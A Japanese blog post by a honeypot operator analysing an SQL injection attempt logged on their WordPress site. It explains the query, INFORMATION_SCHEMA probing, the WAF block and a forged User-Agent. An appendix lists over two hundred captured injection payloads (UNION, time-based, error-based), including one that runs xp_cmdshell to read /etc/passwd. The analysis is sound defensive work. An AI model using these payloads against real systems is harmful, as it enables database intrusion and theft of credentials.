SQL インジェクション攻撃の痕跡

どうも。ハニーポッターの森久です。

今回は私の管理する Web サイトに対して SQL インジェクション攻撃を受けたいたログを発見したので紹介します。

攻撃のログが多数あるため、1行だけまずは抜粋します。(ページ最下部に攻撃の全リクエストを掲載しています。)

サンプルログ

"GET /wp-includes/js/wp-embed.min.js?ver=(SELECT (CASE WHEN (2525=6339) THEN 2525 ELSE 2525*(SELECT 2525 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) HTTP/1.1" 403 344 "-" "Mozilla/5.0 (MSIE 7.0; Macintosh; U; SunOS; X11; gu; SV1; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)"

見やすくするために、URL デコードを1回しています。

SQL インジェクション攻撃の目的

SQL インジェクション攻撃は、Web アプリケーションが連携しているデータベースからデータを窃取することが目的です。ただし攻撃が成功するには、SQL インジェクション攻撃に対して脆弱な Web アプリケーションでなければなりません。攻撃者は、この脆弱な Web アプリケーションを見つけるために日々、インターネットに公開されている Web アプリケーションを(機械的に)調査しています。

今回は、私の Web サイトが運悪く当たってしまったようです。せっかくなのでブログ記事のネタにします。

ログを見る

サンプルログは、Web サービス(Apache)のアクセスログです。項目の説明をざっくりします。

  1. 最初の””でくくられた部分は、アクセスメソッドとアクセス先、HTTPバージョン
  2. 403は Web サーバからの応答ステータスコード
  3. 344は応答コンテンツのサイズ
  4. “-“はリファラが空だたったこと
  5. 最後の”‘でくくられた部分は、User-Agent

攻撃の肝

上記1はアクセスログの中でも重要な部分です。Web サービスの設定をデフォルトのままにしていると、攻撃の痕跡はほぼこの部分にしか残りません。また?より前がアクセスしようとしたファイルのパスで、?から後がパラメータと値です。

今回の SQL インジェクション攻撃では、wp-embed.min.js ファイルに対してアクセスしており、ver パラメータに対して、SQL インジェクション攻撃をしています。

さて SQL インジェクション攻撃の中身を確認してみましょう。といっても重要な点は、SQL 文の一部であるということです。SELECT から始まる部分を整形すると、下記のようになります。

SELECT (
  CASE WHEN (2525=6339) 
    THEN 2525 
    ELSE 2525*( SELECT 2525 FROM INFORMATION_SCHEMA.CHARACTER_SETS) 
  END
)

SQL 文の中身は、条件分岐によって応答を変える SELECT 文ですね。最初の CASE WHEN に続く()の中が条件です。もしこの条件が成り立てば、THEN 以下の部分が応答となり、そうでなければ、ELSE 以下の部分が評価されて応答となります。

肝心の条件ですが数値比較をしています。2525と6339は同じかどうかです。これは数字が違いますね。そのため条件分岐では THEN になることは決してなく、ELSE 以下が評価されます。このような比較は攻撃通信ではよく見られる特徴です。

続いて、条件が成り立たなかったときに評価される ELSE 以下ですが、数値の2525に乗算する値としてサブクエリが含まれています。サブクエリの中身はINFORMATION_SCHEMA テーブルから CHARACTER_SETS を参照しています。

INFORMATION_SCHEMA は、データベースの中にどのようなテーブルや列があるかが定義されています。そのため SQL インジェクションの攻撃の起点として、この INFORMATION_SCHEMA を参照可能かどうかの調査は攻撃者の常套手段となっています。なぜなら対象データベースの中に、攻撃者にとって美味しい情報が含まれているかどうかあたりをつけやすくなるためです。

なお CHARACTER_SETS はデータベースが利用可能な文字セットのデータが含まれています。試しに、どのようなデータが含まれているか下記の SQL 文で確認してみます。(MariaDB Ver 15.1 Distrib 10.1.44 で実行)

SELECT * FROM INFORMATION_SCHEMA.CHARACTER_SETS;
CHARACTER_SETS の中身

実行した結果、40行の結果が得られました。

さてここで SQL インジェクション攻撃の ELSE 以下の部分を振り返ってみると、2525に乗算する形で上記の CHARACTER_SETS の中身を計算しようとしていましたね。しかしサブクエリの実行結果が1行以上あるため、正しく計算(実行)することはできません。試しに下記の SQL 文を実行してみます。

SELECT 2525 * (SELECT 2525 FROM INFORMATION_SCHEMA.CHARACTER_SETS);

はい。エラーが返ってきてダメですね。ということで冒頭で紹介した SQL インジェクション攻撃のログは、たとえ脆弱なパラメータであったとしても INFORMATION_SCHEMA テーブルのデータは得られません。

応答ステータスコード

サンプルのログでは403を返していました。これはアクセスを拒否したことを示しています。

私の Web サーバでは、Web Application Firewall(WAF)としてオープンソースの ModSecurity を導入しています。この WAF には、SQL インジェクション攻撃を見つけるためのルールが用意されていて、今回の通信と合致したため、アクセスを拒否しています。導入していてよかったですね。もっとも該当のパラメータは脆弱ではないのですが。

応答サイズとリファラ

サンプルログでは344バイトを返しつつ、またリファラは空でした。1つ前の項目で、明らかに攻撃が失敗しているため、この部分はあまり注目するに値しません。

しかしながら、攻撃が成功しているような状況の場合は、応答サイズは注目すべきです。応答サイズが通常のコンテンツよりも異なる大きさの場合、データベースの内容が漏洩している可能性を示唆しています。もっとも SQL インジェクション攻撃は手法が多彩なので、たとえばブラインド SQL インジェクション攻撃では応答サイズに変化がなかったりするので、過信はできませんが注意は必要です。

User-Agent はどちら様???

User-Agent は通常、アクセスしたブラウザやツールが何かを示します。Web サーバ側は、たとえばブラウザのときとスマホのときとで表示させるコンテンツを変える場合の識別などに利用します。

ただしアクセスする側が任意に指定できるため、完全に信用することはできません。今回の User-Agent を分解してみます。

Mozilla/5.0
MSIE 7.0
Macintosh
U
SunOS
X11
gu
SV1
InfoPath.2
.NET CLR 3.0.04506.30
.NET CLR 3.0.04506.648

えーっと、Microsoft の Internet Explorer 7.0 (IE7)で、Mac で、SunOS の X11 ですか。

誰だお前は。

こんないびつな、2020年にもなって化石のような環境を使う人はいるだろうか。いやいない。

まとめ

今回は SQL インジェクション攻撃のログを取り上げました。攻撃が成功したときは、非常に影響が大きいので注意が必要です。被害を受けないために Web アプリケーションを安全に作ることは重要です。また自分が作成しないアプリを少しでも安全に、攻撃の影響を緩和するために WAF のようなセキュリティ対策もまた重要です。


【広告】Amazon アソシエイト
Web アプリケーションの脆弱性についてもっと知りたいという方は、徳丸浩さんの「安全な Web アプリケーションの作り方」が非常に参考になります。よろしければどうぞ。なお紙の本だと700ページ近くあるので、読み応えがあります。

おまけ

SQL インジェクション攻撃の肝となる部分だけ抜粋しました。全部で222行あります。

 AND (SELECT 9099 FROM(SELECT COUNT(*),CONCAT(0x7162626271,(SELECT (ELT(9099=9099,1))),0x71626b6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
 AND (SELECT 9099 FROM(SELECT COUNT(*),CONCAT(0x7162626271,(SELECT (ELT(9099=9099,1))),0x71626b6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- xCjB
 AND 1637=1637
 AND 1637=1637-- rHev
 AND 2236=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (2236=2236) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(107)+CHAR(107)+CHAR(113)))
 AND 2236=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (2236=2236) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(107)+CHAR(107)+CHAR(113)))-- Bbla
 AND 2495=CAST((CHR(113)||CHR(98)||CHR(98)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (2495=2495) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(107)||CHR(107)||CHR(113)) AS NUMERIC)
 AND 2495=CAST((CHR(113)||CHR(98)||CHR(98)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (2495=2495) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(107)||CHR(107)||CHR(113)) AS NUMERIC)-- oGPH
 AND 2996=DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(104)||CHR(102)||CHR(67),5)
 AND 2996=DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(104)||CHR(102)||CHR(67),5)-- ghKp
 AND 4049=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(98)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (4049=4049) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(98)||CHR(107)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL)
 AND 4049=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(98)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (4049=4049) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(98)||CHR(107)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL)-- IGSr
 AND 4431=9009
 AND 9278=(SELECT 9278 FROM PG_SLEEP(5))
 AND 9278=(SELECT 9278 FROM PG_SLEEP(5))-- XxzK
 AND 9944=1549-- hbBJ
 AND SLEEP(5)
 AND SLEEP(5)-- rDMW
 ORDER BY 1#
 ORDER BY 1-- QfVe
 ORDER BY 1-- fWYL
 ORDER BY 1728-- QuEv
 ORDER BY 6723#
 ORDER BY 7687#
 ORDER BY 8311-- BTuS
 UNION ALL SELECT NULL#
 UNION ALL SELECT NULL,NULL#
 UNION ALL SELECT NULL,NULL,NULL#
 UNION ALL SELECT NULL,NULL,NULL,NULL#
 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#
 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL#
 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL#
 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- QGRB
 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- cwcw
 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- HHJo
 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ndju
 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- AhFX
 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- RntR
 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- qzew
 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- xVaO
 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- HunF
 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- RlWS
 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- nure
 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- umMI
 UNION ALL SELECT NULL,NULL,NULL,NULL-- KNdu
 UNION ALL SELECT NULL,NULL,NULL,NULL-- QpBA
 UNION ALL SELECT NULL,NULL,NULL-- MebU
 UNION ALL SELECT NULL,NULL,NULL-- ciJr
 UNION ALL SELECT NULL,NULL-- RVzh
 UNION ALL SELECT NULL,NULL-- oLpH
 UNION ALL SELECT NULL-- LJDe
 UNION ALL SELECT NULL-- NIPy
 WAITFOR DELAY '0:0:5'
 WAITFOR DELAY '0:0:5'-- wCme
""")(')).'
%' AND (SELECT 9099 FROM(SELECT COUNT(*),CONCAT(0x7162626271,(SELECT (ELT(9099=9099,1))),0x71626b6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='
%' AND 1637=1637 AND '%'='
%' AND 2236=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (2236=2236) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(107)+CHAR(107)+CHAR(113))) AND '%'='
%' AND 2495=CAST((CHR(113)||CHR(98)||CHR(98)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (2495=2495) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(107)||CHR(107)||CHR(113)) AS NUMERIC) AND '%'='
%' AND 2996=DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(104)||CHR(102)||CHR(67),5) AND '%'='
%' AND 4049=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(98)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (4049=4049) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(98)||CHR(107)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND '%'='
%' AND 8307=1461 AND '%'='
%' AND 9278=(SELECT 9278 FROM PG_SLEEP(5)) AND '%'='
%' AND SLEEP(5) AND '%'='
%' ORDER BY 1#
%' ORDER BY 1-- bSth
%' ORDER BY 2668-- qkdt
%' ORDER BY 5584#
%' UNION ALL SELECT NULL#
%' UNION ALL SELECT NULL,NULL#
%' UNION ALL SELECT NULL,NULL,NULL#
%' UNION ALL SELECT NULL,NULL,NULL,NULL#
%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#
%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL#
%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL#
%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- FxPQ
%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- kBSS
%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- QFWg
%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- PuRA
%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- gYqp
%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- HHuh
%' UNION ALL SELECT NULL,NULL,NULL,NULL-- gwzt
%' UNION ALL SELECT NULL,NULL,NULL-- YnNK
%' UNION ALL SELECT NULL,NULL-- DeNK
%' UNION ALL SELECT NULL-- wYVe
%' WAITFOR DELAY '0:0:5' AND '%'='
%';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(116)||CHR(98)||CHR(89)||CHR(76),5) FROM DUAL--
%';SELECT PG_SLEEP(5)--
%';SELECT SLEEP(5)#
%';WAITFOR DELAY '0:0:5'--
' AND (SELECT 9099 FROM(SELECT COUNT(*),CONCAT(0x7162626271,(SELECT (ELT(9099=9099,1))),0x71626b6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'HlDJ'='HlDJ
' AND 1637=1637 AND 'HgeE'='HgeE
' AND 2236=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (2236=2236) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(107)+CHAR(107)+CHAR(113))) AND 'PLNM'='PLNM
' AND 2495=CAST((CHR(113)||CHR(98)||CHR(98)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (2495=2495) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(107)||CHR(107)||CHR(113)) AS NUMERIC) AND 'OSWR'='OSWR
' AND 2996=DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(104)||CHR(102)||CHR(67),5) AND 'qNbi'='qNbi
' AND 4049=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(98)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (4049=4049) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(98)||CHR(107)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND 'KpNh'='KpNh
' AND 5488=5790 AND 'LAee'='LAee
' AND 9278=(SELECT 9278 FROM PG_SLEEP(5)) AND 'gKjs'='gKjs
' AND SLEEP(5) AND 'FiOQ'='FiOQ
' ORDER BY 1#
' ORDER BY 1-- opql
' ORDER BY 3029#
' ORDER BY 5164-- IHaH
' UNION ALL SELECT NULL#
' UNION ALL SELECT NULL,NULL#
' UNION ALL SELECT NULL,NULL,NULL#
' UNION ALL SELECT NULL,NULL,NULL,NULL#
' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#
' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL#
' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL#
' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- QEay
' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- WzxA
' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- mvaq
' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- FYeU
' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- EMKH
' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- qmtu
' UNION ALL SELECT NULL,NULL,NULL,NULL-- giTE
' UNION ALL SELECT NULL,NULL,NULL-- rJro
' UNION ALL SELECT NULL,NULL-- dWXA
' UNION ALL SELECT NULL-- KWRe
' WAITFOR DELAY '0:0:5' AND 'srPt'='srPt
') AND (SELECT 9099 FROM(SELECT COUNT(*),CONCAT(0x7162626271,(SELECT (ELT(9099=9099,1))),0x71626b6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('NlvV'='NlvV
') AND 1637=1637 AND ('ffbQ'='ffbQ
') AND 2113=4747 AND ('paqz'='paqz
') AND 2236=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (2236=2236) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(107)+CHAR(107)+CHAR(113))) AND ('QduP'='QduP
') AND 2495=CAST((CHR(113)||CHR(98)||CHR(98)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (2495=2495) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(107)||CHR(107)||CHR(113)) AS NUMERIC) AND ('fBTJ'='fBTJ
') AND 2996=DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(104)||CHR(102)||CHR(67),5) AND ('JtUF'='JtUF
') AND 4049=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(98)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (4049=4049) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(98)||CHR(107)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND ('TqTN'='TqTN
') AND 9278=(SELECT 9278 FROM PG_SLEEP(5)) AND ('AKFQ'='AKFQ
') AND SLEEP(5) AND ('rido'='rido
') ORDER BY 1#
') ORDER BY 1-- vjHg
') ORDER BY 3845-- hXZF
') ORDER BY 6978#
') UNION ALL SELECT NULL#
') UNION ALL SELECT NULL,NULL#
') UNION ALL SELECT NULL,NULL,NULL#
') UNION ALL SELECT NULL,NULL,NULL,NULL#
') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#
') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL#
') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL#
') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- tbWX
') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- HVPa
') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- tfvV
') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ZAwz
') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- QSsr
') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- ahrW
') UNION ALL SELECT NULL,NULL,NULL,NULL-- osbw
') UNION ALL SELECT NULL,NULL,NULL-- hPFJ
') UNION ALL SELECT NULL,NULL-- QcZl
') UNION ALL SELECT NULL-- fhFo
') WAITFOR DELAY '0:0:5' AND ('rUFl'='rUFl
');SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(116)||CHR(98)||CHR(89)||CHR(76),5) FROM DUAL--
');SELECT PG_SLEEP(5)--
');SELECT SLEEP(5)#
');WAITFOR DELAY '0:0:5'--
';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(116)||CHR(98)||CHR(89)||CHR(76),5) FROM DUAL--
';SELECT PG_SLEEP(5)--
';SELECT SLEEP(5)#
';WAITFOR DELAY '0:0:5'--
'bNFNvj<'">MhLpsQ
) AND (SELECT 9099 FROM(SELECT COUNT(*),CONCAT(0x7162626271,(SELECT (ELT(9099=9099,1))),0x71626b6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (1718=1718
) AND 1637=1637 AND (8663=8663
) AND 2236=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (2236=2236) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(107)+CHAR(107)+CHAR(113))) AND (1714=1714
) AND 2495=CAST((CHR(113)||CHR(98)||CHR(98)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (2495=2495) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(107)||CHR(107)||CHR(113)) AS NUMERIC) AND (5003=5003
) AND 2996=DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(104)||CHR(102)||CHR(67),5) AND (2912=2912
) AND 4049=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(98)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (4049=4049) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(98)||CHR(107)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND (5675=5675
) AND 6487=5530 AND (3890=3890
) AND 9278=(SELECT 9278 FROM PG_SLEEP(5)) AND (4472=4472
) AND SLEEP(5) AND (9052=9052
) ORDER BY 1#
) ORDER BY 1-- HOyh
) ORDER BY 6219#
) ORDER BY 7944-- szdf
) UNION ALL SELECT NULL#
) UNION ALL SELECT NULL,NULL#
) UNION ALL SELECT NULL,NULL,NULL#
) UNION ALL SELECT NULL,NULL,NULL,NULL#
) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#
) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL#
) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL#
) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- PJnx
) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- zTZF
) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- pRmN
) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- roCi
) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- NiVI
) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- wZvR
) UNION ALL SELECT NULL,NULL,NULL,NULL-- uBRY
) UNION ALL SELECT NULL,NULL,NULL-- YogQ
) UNION ALL SELECT NULL,NULL-- NQqs
) UNION ALL SELECT NULL-- xdSN
) WAITFOR DELAY '0:0:5' AND (6290=6290
);SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(116)||CHR(98)||CHR(89)||CHR(76),5) FROM DUAL--
);SELECT PG_SLEEP(5)--
);SELECT SLEEP(5)#
);WAITFOR DELAY '0:0:5'--
;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(116)||CHR(98)||CHR(89)||CHR(76),5) FROM DUAL--
;SELECT PG_SLEEP(5)--
;SELECT SLEEP(5)#
;WAITFOR DELAY '0:0:5'--
&EKkW=5311 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#
.1"
13)+CHAR(98)+CHAR(98)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (1600=1600) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(107)+CHAR(107)+CHAR(113))
13)||CHR(98)||CHR(98)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (9902=9902) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(107)||CHR(107)||CHR(113)))
62626271,(SELECT (ELT(2169=2169,1))),0x71626b6b71))
62626271,(SELECT (ELT(6604=6604,1))),0x71626b6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)